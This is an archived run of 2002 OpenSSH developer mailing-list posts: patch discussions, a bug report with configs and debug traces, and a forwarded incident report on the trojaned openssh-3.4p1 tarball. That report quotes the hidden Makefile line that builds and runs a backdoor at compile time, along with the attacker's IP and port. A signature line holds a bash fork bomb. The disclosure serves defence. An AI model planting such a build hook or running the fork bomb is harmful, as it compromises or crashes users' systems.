From jan.iven at cern.ch  Thu Aug  1 01:55:17 2002
From: jan.iven at cern.ch (Jan IVEN)
Date: 31 Jul 2002 17:55:17 +0200
Subject: privsep+kerb5+ssh1
In-Reply-To: <20020731104536.GA22295@folly>
References: <20020731104536.GA22295@folly>
Message-ID: <unmofcnevtm.fsf@asis-w2.cern.ch>

>>>>> "MF" == Markus Friedl <markus at openbsd.org> writes:

 MF> please test Olaf Kirch's patch. it looks fine to me, but i don't to K5.
 MF> i'd like to see this in the next release. thx

For what its worth, a similar patch for KRB4+5 is appended to
http://bugzilla.mindrot.org/show_bug.cgi?id=324 -- and I cannot test
the KRB5 part either (therefore neither Olaf's version). KRB4 seems to
work.

I still have some more patches related to KRB4/AFS/SSH1, and would be most
happy to get rid of them. They deal with:

* mkstemp() on RH7.2 (and above, based on glibc-2.2) being very
  restrictive, breaking KRB4 TGT passing. Moving to the XXXXXX format
  seems to cause trouble because the same ticket file is being
  re-used. The patch adds a check for autoconf to use the bsd_compat
  mkstemp().  http://bugzilla.mindrot.org/show_bug.cgi?id=44

* KRB4-TGT forwarding overwrites credentials (AFS token, KRB4 TGT)
  from a successful password auth. This tends to confuse users.. "-k"
  is a workaround, but was not neccessary pre-3.0. The patch disables
  credential forwarding on the server after password auth succeeded.

* an extended version of the KRB4/5+PRIVSEP patch above that enables
  "early" KRB4/AFS credential forwarding (as done by older/non-OpenSSH
  clients). These credentials now get stored and will be used after
  successful authentication.

Unrelated, but useful:

* make ssh/sshd handle unknown configuration options non-fatally --
  ~/.ssh/config files on AFS tend to be used by multiple versions of
  ssh clients, and barfing because the new version does not like old
  options is unfriendly. For the sshd, the problem is less acute due
  to "-t", but it still prevents us from screwing with other admin's
  config files...

All of them are against 3.4p1, but I would be willing to port them
forward to something more recent if this would get them accepted...

Regards
Jan


From markus at openbsd.org  Thu Aug  1 02:35:47 2002
From: markus at openbsd.org (Markus Friedl)
Date: Wed, 31 Jul 2002 18:35:47 +0200
Subject: so-called-hang-on-exit
Message-ID: <20020731163547.GB1787@folly>

so, should this go into 3.5?

Index: serverloop.c
===================================================================
RCS file: /home/markus/cvs/ssh/serverloop.c,v
retrieving revision 1.103
diff -u -r1.103 serverloop.c
--- serverloop.c	24 Jun 2002 14:33:27 -0000	1.103
+++ serverloop.c	12 Jul 2002 16:34:20 -0000
@@ -388,6 +388,11 @@
 			buffer_append(&stderr_buffer, buf, len);
 		}
 	}
+	/* allow data loss on pty */
+	if (child_terminated && fderr == -1 && !fdout_eof) {
+		close(fdout);
+		fdout_eof = 1;
+	}
 }
 
 /*
Index: session.c
===================================================================
RCS file: /home/markus/cvs/ssh/session.c,v
retrieving revision 1.143
diff -u -r1.143 session.c
--- session.c	30 Jun 2002 21:54:16 -0000	1.143
+++ session.c	12 Jul 2002 16:35:32 -0000
@@ -1629,11 +1629,15 @@
 	/*
 	 * emulate a write failure with 'chan_write_failed', nobody will be
 	 * interested in data we write.
-	 * Note that we must not call 'chan_read_failed', since there could
+	 * Note that for the non-pty case we must not call 'chan_read_failed',
+	 * since there could
 	 * be some more data waiting in the pipe.
 	 */
 	if (c->ostate != CHAN_OUTPUT_CLOSED)
 		chan_write_failed(c);
+	/* allow data loss on pty */
+	if (s->ttyfd != -1 && c->istate == CHAN_INPUT_OPEN)
+		chan_read_failed(c);       
 	s->chanid = -1;
 }
 


From fcusack at fcusack.com  Thu Aug  1 16:35:18 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 31 Jul 2002 23:35:18 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <20020731163547.GB1787@folly>; from markus@openbsd.org on Wed, Jul 31, 2002 at 06:35:47PM +0200
References: <20020731163547.GB1787@folly>
Message-ID: <20020731233518.B7910@google.com>

It's been working fantastically for me.
/fc

On Wed, Jul 31, 2002 at 06:35:47PM +0200, Markus Friedl wrote:
> so, should this go into 3.5?
> 
> Index: serverloop.c
> ===================================================================
> RCS file: /home/markus/cvs/ssh/serverloop.c,v
> retrieving revision 1.103
> diff -u -r1.103 serverloop.c
> --- serverloop.c	24 Jun 2002 14:33:27 -0000	1.103
> +++ serverloop.c	12 Jul 2002 16:34:20 -0000
> @@ -388,6 +388,11 @@
>  			buffer_append(&stderr_buffer, buf, len);
>  		}
>  	}
> +	/* allow data loss on pty */
> +	if (child_terminated && fderr == -1 && !fdout_eof) {
> +		close(fdout);
> +		fdout_eof = 1;
> +	}
>  }
>  
>  /*
> Index: session.c
> ===================================================================
> RCS file: /home/markus/cvs/ssh/session.c,v
> retrieving revision 1.143
> diff -u -r1.143 session.c
> --- session.c	30 Jun 2002 21:54:16 -0000	1.143
> +++ session.c	12 Jul 2002 16:35:32 -0000
> @@ -1629,11 +1629,15 @@
>  	/*
>  	 * emulate a write failure with 'chan_write_failed', nobody will be
>  	 * interested in data we write.
> -	 * Note that we must not call 'chan_read_failed', since there could
> +	 * Note that for the non-pty case we must not call 'chan_read_failed',
> +	 * since there could
>  	 * be some more data waiting in the pipe.
>  	 */
>  	if (c->ostate != CHAN_OUTPUT_CLOSED)
>  		chan_write_failed(c);
> +	/* allow data loss on pty */
> +	if (s->ttyfd != -1 && c->istate == CHAN_INPUT_OPEN)
> +		chan_read_failed(c);       
>  	s->chanid = -1;
>  }
>  
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 


From wpilorz at bdk.pl  Thu Aug  1 17:20:29 2002
From: wpilorz at bdk.pl (Wojtek Pilorz)
Date: Thu, 1 Aug 2002 09:20:29 +0200 (CEST)
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than frozen
Message-ID: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl>

I have seen that file
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
is continuosly changing.
This seems strange to me as I expected it should be a 'frozen' file;
The signature and diff file are still dated Jun 26.

I am wondering whether this is intentional.

Best regards,

Wojtek



From jan.iven at cern.ch  Thu Aug  1 20:53:19 2002
From: jan.iven at cern.ch (Jan IVEN)
Date: 01 Aug 2002 12:53:19 +0200
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than frozen
In-Reply-To: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl>
References: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl>
Message-ID: <unmit2uetpc.fsf@asis-w2.cern.ch>

>>>>> "WP" == Wojtek Pilorz <wpilorz at bdk.pl> writes:

 WP> I have seen that file
 WP> ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
 WP> is continuosly changing.
 WP> This seems strange to me as I expected it should be a 'frozen' file;
 WP> The signature and diff file are still dated Jun 26.

 WP> I am wondering whether this is intentional.

According to 

http://www.mavetju.org/weblog/weblog.php

the tar file may be trojaned (or do the freebsd people keep a mirror,
and that one has been trojaned)? 

Regards
Jan


From wpilorz at bdk.pl  Thu Aug  1 21:20:00 2002
From: wpilorz at bdk.pl (Wojtek Pilorz)
Date: Thu, 1 Aug 2002 13:20:00 +0200 (CEST)
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than
 frozen
In-Reply-To: <unmit2uetpc.fsf@asis-w2.cern.ch>
Message-ID: <Pine.LNX.4.21.0208011319150.15048-100000@celebris.bdk.pl>

On 1 Aug 2002, Jan IVEN wrote:

> Date: 01 Aug 2002 12:53:19 +0200
> From: Jan IVEN <jan.iven at cern.ch>
> To: Wojtek Pilorz <wpilorz at bdk.pl>
> Cc: openssh-unix-dev at mindrot.org
> Subject: Re: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than
>     frozen
> 
> >>>>> "WP" == Wojtek Pilorz <wpilorz at bdk.pl> writes:
> 
>  WP> I have seen that file
>  WP> ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
>  WP> is continuosly changing.
>  WP> This seems strange to me as I expected it should be a 'frozen' file;
>  WP> The signature and diff file are still dated Jun 26.
> 
>  WP> I am wondering whether this is intentional.
> 
> According to 
> 
> http://www.mavetju.org/weblog/weblog.php
> 
> the tar file may be trojaned (or do the freebsd people keep a mirror,
> and that one has been trojaned)? 
The file on original address given above has been trojaned.

> 
> Regards
> Jan
> 



From magnus at bodin.org  Thu Aug  1 21:39:22 2002
From: magnus at bodin.org (Magnus Bodin)
Date: Thu, 1 Aug 2002 13:39:22 +0200
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than frozen
In-Reply-To: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl>
References: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl>
Message-ID: <20020801113922.GQ29401@bodin.org>

On Thu, Aug 01, 2002 at 09:20:29AM +0200, Wojtek Pilorz wrote:
> I have seen that file
> ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
> is continuosly changing.
> This seems strange to me as I expected it should be a 'frozen' file;
> The signature and diff file are still dated Jun 26.
> 
> I am wondering whether this is intentional.

Read, read: 

----- Forwarded message from Edwin Groothuis <edwin at mavetju.org> -----

Date: Thu, 1 Aug 2002 16:55:51 +1000
From: Edwin Groothuis <edwin at mavetju.org>
To: incidents at securityfocus.com
Subject: openssh-3.4p1.tar.gz trojaned

Greetings,

Just want to inform you that the OpenSSH package op ftp.openbsd.org
(and probably all its mirrors now) it trojaned:

    ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

The OpenBSD people have been informed about it (via email to
deraadt at openbsd.org and via irc.openprojects.org/#openbsd)


The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
 all: libopenbsd-compat.a
+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c[1] is nothing more than a wrapper which generates a
shell-script[2] which compiles itself and tries to connect to an
server running on 203.62.158.32:6667 (web.snsonline.net).
  
[1] http://www.mavetju.org/~edwin/bf-test.c
[2] http://www.mavetju.org/~edwin/bf-output.sh

This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD
ports system:
    MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
    MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

Edwin

-- 
Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
edwin at mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/



From kumareshind at gmx.net  Thu Aug  1 20:03:09 2002
From: kumareshind at gmx.net (kumar)
Date: Thu, 1 Aug 2002 15:33:09 +0530
Subject: Openssl and openssh
References: <20020726083356.DA264E902@shitei.mindrot.org>
Message-ID: <01f901c23951$dce1e080$390110ac@kursi>

Hello All,
For the past two days, in the open source world there are serious
discussions about the OpenSSL vulnerabilities.
I had seen some recommendations for and against that these vulnerabilities
affects OpenSSH.

To what extent OpenSSH supports certificates. My search in openssh sites and
discussions, gave me an understanding that OpenSSH does not support
certificates for authentication. Also, to what extent ASN.1 has an impact on
OpenSSH?

Opinions and answers are highly appreciated.

regards
Kumaresh.





From sidd_ait at rediffmail.com  Thu Aug  1 23:06:24 2002
From: sidd_ait at rediffmail.com (siddharth sharma rajput)
Date: 1 Aug 2002 13:06:24 -0000
Subject: problem
Message-ID: <20020801130624.26850.qmail@webmail29.rediffmail.com>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020801/c9ba76e4/attachment.ksh 

From sidd_ait at rediffmail.com  Thu Aug  1 23:07:20 2002
From: sidd_ait at rediffmail.com (siddharth sharma rajput)
Date: 1 Aug 2002 13:07:20 -0000
Subject: problem
Message-ID: <20020801130720.27704.qmail@webmail29.rediffmail.com>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020801/85434e57/attachment.ksh 

From sidd_ait at rediffmail.com  Thu Aug  1 23:07:56 2002
From: sidd_ait at rediffmail.com (siddharth sharma rajput)
Date: 1 Aug 2002 13:07:56 -0000
Subject: problem
Message-ID: <20020801130756.28159.qmail@webmail29.rediffmail.com>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020801/0d10076e/attachment.ksh 

From sidd_ait at rediffmail.com  Thu Aug  1 23:08:23 2002
From: sidd_ait at rediffmail.com (siddharth sharma rajput)
Date: 1 Aug 2002 13:08:23 -0000
Subject: problem
Message-ID: <20020801130823.23060.qmail@webmail28.rediffmail.com>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020801/6a9b8924/attachment.ksh 

From bugzilla-daemon at mindrot.org  Thu Aug  1 23:11:53 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu,  1 Aug 2002 23:11:53 +1000 (EST)
Subject: [Bug 375] New: sshd core dumping with msg "Cannot delete credentials"
Message-ID: <20020801131153.3336BE9F5@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=375

           Summary: sshd core dumping with msg "Cannot delete credentials"
           Product: Portable OpenSSH
           Version: 3.1p1
          Platform: Sparc
        OS/Version: Solaris
            Status: NEW
          Severity: major
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: quicksilver_00 at yahoo.com


Here's more info than you probably wanted.  It's a copy of my post to 
comp.security.ssh:
Folks,
I need some help here.  And, I'll apologize now for being so verbose. 
I just want to try and provide as much detail as possible upfront
since most of the threads here simply ask for more details.  Of
course, I'm happy to provide whatever you may need.

Background:
I'm building OpenSSH for the following platforms/OSes: HP-UX 10.20,
HP-UX 11.00, Solaris 2.5.1, Solaris 2.6, Solaris 7, and AIX 4.3.  I
have completed the builds and done basic connection testing from each
platform to each of the other platforms.
For example:
  HP-UX 10.20 -> HP-UX 10.20
  HP-UX 10.20 -> HP-UX 11.00
  HP-UX 10.20 -> Solaris 2.5.1
  HP-UX 10.20 -> Solaris 2.6
  HP-UX 10.20 -> Solaris 7
  HP-UX 10.20 -> AIX 4.3
  HP-UX 11.00 -> ...
  (You get the picture.)
Environment is using OpenSSL 0.9.6d, Zlib 1.1.4, PRNGD 0.9.24 and
OpenSSH 3.1p1 (yes, I know that 3.4 is out...)  The Solaris 7 image
was built on Solaris 2.6 (because 2.5.1 doesn't have native support
for PAM).

Problem: When any client connects to the Solaris 7 server, the
connection will succeed but the server process will core dump after
the connection terminates.

Easy solution: Recompile this stuff on my Solaris 7 box.  Yeah, I
could do that but I'm wondering if there is just something obvious
that I'm missing (like PAM configuration ,etc).

Your help is greatly appreciated.  

Steven

Now for the gorey details...

Using GCC version 3.0.3

Here is my build options for each package:
  OpenSSL 0.9.6d: Configure solaris-sparcv7-gcc
--prefix=/opt/openssl-0.9.6d --openssldir=/opt/openssl-0.9.6d
  Zlib 1.1.4: configure --prefix=/opt/zlib-1.1.4
  PRNGD 0.9.24: make CC=gcc CFLAGS="-O -DSOLARIS26 D__EXTENSIONS__"
SYSLIBS="-lsocket -lnsl"
  OpenSSH 3.1p1: configure --prefix=/opt/openssh-3.1p1 --with-pam
--without-rsh --sysconfdir=/etc/ssh --with-ssl-dir=/opt/openssl-0.9.6d
--with-zlib=/opt/zlib-1.1.4 --with-prngd-socket=/var/spool/prngd/pool
 
Here's my client SSH configuration file (I like to be explicit so I
set values even if it's just to the default):
BatchMode no
CheckHostIP yes
Cipher 3des
Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc
ClearAllForwardings no
Compression no
ConnectionAttempts 1
EscapeChar ~
FallBackToRsh no
ForwardAgent no
ForwardX11 yes
GatewayPorts no
HostbasedAuthentication no
HostKeyAlgorithms ssh-rsa,ssh-dss
IdentityFile ~/.ssh/id_rsa
IdentityFile ~/.ssh/id_dsa
KeepAlive yes
LogLevel INFO
MACs hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
NoHostAuthenticationForLocalhost no
NumberOfPasswordPrompts 3
PasswordAuthentication yes
Port 22
PreferredAuthentications
hostbased,publickey,keyboard-interactive,password
Protocol 2
PubkeyAuthentication yes
ChallengeResponseAuthentication no
StrictHostKeyChecking ask
UsePrivilegedPort no
UserKnownHostsFile ~/.ssh/known_hosts

Here's my server SSH configuration file (Same here...being explicit):
AllowGroups *
AllowTcpForwarding yes
AllowUsers *
AuthorizedKeysFile %h/.ssh/authorized_keys
Banner /etc/issue
ChallengeResponseAuthentication no
Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc
ClientAliveInterval 0
ClientAliveCountMax 3
GatewayPorts no
HostbasedAuthentication no
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
IgnoreRhosts yes
IgnoreUserKnownHosts no
KeepAlive yes
PAMAuthenticationViaKbdInt no
Port 22
ListenAddress 0.0.0.0
LoginGraceTime 60
LogLevel INFO
MACs hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
MaxStartups 10
PasswordAuthentication yes
PermitEmptyPasswords no
PermitRootLogin forced-commands-only
PidFile /etc/ssh/sshd.pid
PrintLastLog yes
PrintMotd yes
Protocol 2
PubkeyAuthentication yes
StrictModes yes
Subsystem sftp /opt/openssh/sbin/sftp-server
SyslogFacility AUTH
UseLogin no
VerifyReverseMapping no
X11DisplayOffset 10
X11Forwarding yes
X11UseLocalhost yes
XAuthLocation /usr/bin/X11/xauth

Here's a client trace with 'verbose' turned on:
$ /opt/openssh/bin/ssh -v -l root -p 900 server_acme
OpenSSH_3.1p1, SSH protocols 1.5/2.0, OpenSSL 0x0090604f
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be
trusted.
debug1: restore_uid
debug1: ssh_connect: getuid 46534 geteuid 0 anon 1
debug1: Connecting to server_acme [20.1.2.50] port 900.
debug1: temporarily_use_uid: 46534/1 (e=0)
debug1: restore_uid
debug1: temporarily_use_uid: 46534/1 (e=0)
debug1: restore_uid
debug1: Connection established.
debug1: read PEM private key done: type DSA
debug1: read PEM private key done: type RSA
debug1: identity file /home/quicksilver_00/.ssh/id_rsa type 1
debug1: identity file /home/quicksilver_00/.ssh/id_dsa type -1
debug1: Remote protocol version 2.0, remote software version
OpenSSH_3.1p1
debug1: match: OpenSSH_3.1p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.1p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 138/256
debug1: bits set: 1604/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host 'server_acme' is known and matches the RSA host key.
debug1: Found key in /home/quicksilver_00/.ssh/known_hosts:6
debug1: bits set: 1608/3191
debug1: ssh_rsa_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
Warning Notice

Access to this network and the information on it are lawfully
available only for approved purposes by employees of ACME
Toys and other users authorized by ACME Toys. If you
are not an employee of ACME Toys or an authorized user,
do not attempt to log on. Other than where prohibited by law
and subject to legal requirements, ACME Toys reserves the
right to review any information in any form on this network at any
time.
debug1: authentications that can continue: publickey,password
debug1: next auth method to try is publickey
debug1: try pubkey: /home/quicksilver_00/.ssh/id_rsa
debug1: authentications that can continue: publickey,password
debug1: try privkey: /home/quicksilver_00/.ssh/id_dsa
debug1: next auth method to try is password
root at server_acme's password: 
debug1: packet_send2: adding 64 (len 57 padlen 7 extra_pad 64)
debug1: ssh-userauth2 successful: method password
debug1: channel 0: new [client-session]
debug1: send channel open 0
debug1: Entering interactive session.
debug1: ssh_session2_setup: id 0
debug1: channel request 0: pty-req
debug1: channel request 0: shell
debug1: fd 4 setting TCP_NODELAY
debug1: channel 0: open confirm rwindow 0 rmax 32768
Last login: Mon Jul 29 14:21:56 2002 from client_acme.acmetoys.com
Sun Microsystems Inc.   SunOS 5.7       Generic October 1998
debug1: PAM establishing creds

Environment:
  USER=root
  LOGNAME=root
  HOME=/root
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/opt/openssh-3.1p1/bin
  MAIL=/var/mail//root
  SHELL=/sbin/sh
  TZ=US/Eastern
  SSH_CLIENT=20.1.2.3 58311 900
  SSH_TTY=/dev/pts/2
  TERM=xterm
debug3: channel_close_fds: channel 0: r -1 w -1 e -1

Sun Microsystems Inc.   SunOS 5.7       Generic October 1998
You have mail.
-sh: tset: not found

Value of TERM has been set to "xterm". 


WARNING:  YOU ARE SUPERUSER !!

server_acme root> exit
logout root
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: channel 0: rcvd eof
debug1: channel 0: output open -> drain
debug1: channel 0: obuf empty
debug1: channel 0: close_write
debug1: channel 0: output drain -> closed
debug1: channel 0: rcvd close
debug1: channel 0: close_read
debug1: channel 0: input open -> closed
debug1: channel 0: almost dead
debug1: channel 0: gc: notify user
debug1: channel 0: gc: user detached
debug1: channel 0: send close
debug1: channel 0: is dead
debug1: channel 0: garbage collecting
debug1: channel_free: channel 0: client-session, nchannels 1
Connection to server_acme closed.
debug1: Transferred: stdin 0, stdout 0, stderr 32 bytes in 10.7
seconds
debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 3.0
debug1: Exit status 0

Here's the accompanying server side trace with -ddd turned on:
server_acme root> /opt/openssh/sbin/sshd -ddd -f
/etc/ssh/sshd_config_root -p 900
debug3: Seeing PRNG from /opt/openssh-3.1p1/libexec/ssh-rand-helper
debug3: cipher ok: aes128-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: 3des-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: blowfish-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: cast128-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: arcfour
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: aes192-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: cipher ok: aes256-cbc
[aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]
debug3: ciphers ok: [aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc]
debug2: mac_init: found hmac-md5
debug3: mac ok: hmac-md5
[hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug2: mac_init: found hmac-sha1
debug3: mac ok: hmac-sha1
[hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug2: mac_init: found hmac-ripemd160
debug3: mac ok: hmac-ripemd160
[hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug2: mac_init: found hmac-sha1-96
debug3: mac ok: hmac-sha1-96
[hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug2: mac_init: found hmac-md5-96
debug3: mac ok: hmac-md5-96
[hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug3: macs ok: [hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96]
debug1: sshd version OpenSSH_3.1p1
debug3: Not a RSA1 key file /etc/ssh/ssh_host_rsa_key.
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug3: Not a RSA1 key file /etc/ssh/ssh_host_dsa_key.
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: Bind to port 900 on 0.0.0.0.
Server listening on 0.0.0.0 port 900.
debug1: Server will not fork when running in debugging mode.
Connection from 20.1.2.3 port 58311
debug1: Client protocol version 2.0; client software version
OpenSSH_3.1p1
debug1: match: OpenSSH_3.1p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.1p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 133/256
debug1: bits set: 1608/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1604/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user root service ssh-connection method
none
debug1: attempt 0 failures 0
debug3: Trying to reverse map address 20.1.2.3.
debug2: input_userauth_request: setting up authctxt for root
debug1: Starting up PAM with username "root"
debug1: PAM setting rhost to "client_acme.acmetoys.com"
debug2: input_userauth_request: try method none
debug1: userauth_banner: sent
Failed none for root from 20.1.2.3 port 58311 ssh2
debug1: userauth-request for user root service ssh-connection method
publickey
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method publickey
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file /root/.ssh/authorized_keys
debug1: restore_uid
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file /root/.ssh/authorized_keys
debug1: restore_uid
debug2: userauth_pubkey: authenticated 0 pkalg ssh-rsa
Failed publickey for root from 20.1.2.3 port 58311 ssh2
debug1: userauth-request for user root service ssh-connection method
password
debug1: attempt 2 failures 2
debug2: input_userauth_request: try method password
debug1: PAM Password authentication accepted for user "root"
Accepted password for root from 20.1.2.3 port 58311 ssh2
debug1: Entering interactive session for SSH2.
debug1: fd 7 setting O_NONBLOCK
debug1: fd 9 setting O_NONBLOCK
debug1: server_init_dispatch_20
debug1: server_input_channel_open: ctype session rchan 0 win 65536 max
16384
debug1: input_session_request
debug1: channel 0: new [server-session]
debug1: session_new: init
debug1: session_new: session 0
debug1: session_open: channel 0
debug1: session_open: session 0: link with channel 0
debug1: server_input_channel_open: confirm session
debug1: server_input_channel_req: channel 0 request pty-req reply 0
debug1: session_by_channel: session 0 channel 0
debug1: session_input_channel_req: session 0 req pty-req
debug1: Allocating pty.
